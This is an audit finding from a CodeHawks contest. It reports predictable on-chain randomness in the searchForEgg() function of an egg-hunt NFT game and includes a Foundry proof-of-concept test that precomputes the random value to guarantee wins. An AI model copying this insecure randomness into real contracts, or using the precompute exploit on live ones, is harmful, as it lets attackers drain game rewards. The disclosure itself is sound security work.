Eggstravaganza

First Flight #37
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Predictable On-Chain Randomness in searchForEgg() Allows Gamers to Guarantee Egg Discoveries

Summary

The searchForEgg() function in EggHuntGame.sol uses predictable on-chain data for randomness generation, making it vulnerable to manipulation by miners and attackers. This allows malicious actors to game the system by predicting favorable conditions for finding eggs.

Vulnerability Details

The vulnerability occurs in the pseudo-random number generation:
URL: https://github.com/CodeHawks-Contests/2025-04-eggstravaganza/blob/f83ed7dff700c4319bdfd0dff796f74db5be4538/src/EggHuntGame.sol#L71

function searchForEgg() external {
require(gameActive, "Game not active");
require(block.timestamp >= startTime, "Game not started yet");
require(block.timestamp <= endTime, "Game ended");
// [+] Issue is here
uint256 random = uint256(
keccak256(abi.encodePacked(block.timestamp, block.prevrandao, msg.sender, eggCounter))
) % 100;
if (random < eggFindThreshold) {
eggCounter++;
eggsFound[msg.sender] += 1;
eggNFT.mintEgg(msg.sender, eggCounter);
emit EggFound(msg.sender, eggCounter, eggsFound[msg.sender]);
}
}
  1. Predictable Inputs: All parameters (block.timestamp, block.prevrandao, msg.sender, eggCounter) are publicly visible and can be predicted in advance

  2. Miner Manipulation: Miners can influence block.timestamp and block.prevrandao to create favorable conditions

  3. Frontrunning Possible: Attackers can compute the random number off-chain and only submit transactions when they know they'll win

POC

The provided PoC demonstrates how an attacker (Alice) can systematically exploit this by:

  1. Precomputing the random number before each transaction attempt

  2. Only sending transactions when conditions are favorable (random < threshold)

  3. Forcing block changes (vm.warp/vm.roll) to manipulate inputs

function testAttackSearchForEgg() public {
uint256 duration = 200;
game.startGame(duration);
game.setEggFindThreshold(10); // 10% chance
uint256 initialEggCount = game.eggCounter();
uint8 eggsFoundByAlice = 0;
while (eggsFoundByAlice < 10) {
vm.warp(block.timestamp + 1);
vm.roll(block.number + 1);
uint256 random = uint256(
keccak256(abi.encodePacked(block.timestamp, block.prevrandao, address(alice), game.eggCounter()))
) % 100;
if (random < 10) {
vm.prank(alice);
game.searchForEgg();
eggsFoundByAlice++;
}
}
console.log("Alice's eggs:", game.eggsFound(alice));
console.log("Total eggs minted:", game.eggCounter() - initialEggCount);
assertEq(game.eggsFound(alice), 10, "Alice should have 10 eggs");
assertEq(game.eggCounter(), initialEggCount + 10, "Total eggs should increase by 2");

Impact

  • High Severity: Attackers can guarantee egg discoveries, breaking game fairness

  • Economic Damage: Malicious users could accumulate all available eggs

  • Reputation Risk: Game becomes exploitable, losing player trust

Tools Used

  • Foundry for testing (vm.warp, vm.roll)

  • Manual code analysis

  • PoC test case demonstrating the exploit

Updates

Lead Judging Commences

m3dython Lead Judge 8 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Insecure Randomness

Insecure methods to generate pseudo-random numbers

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!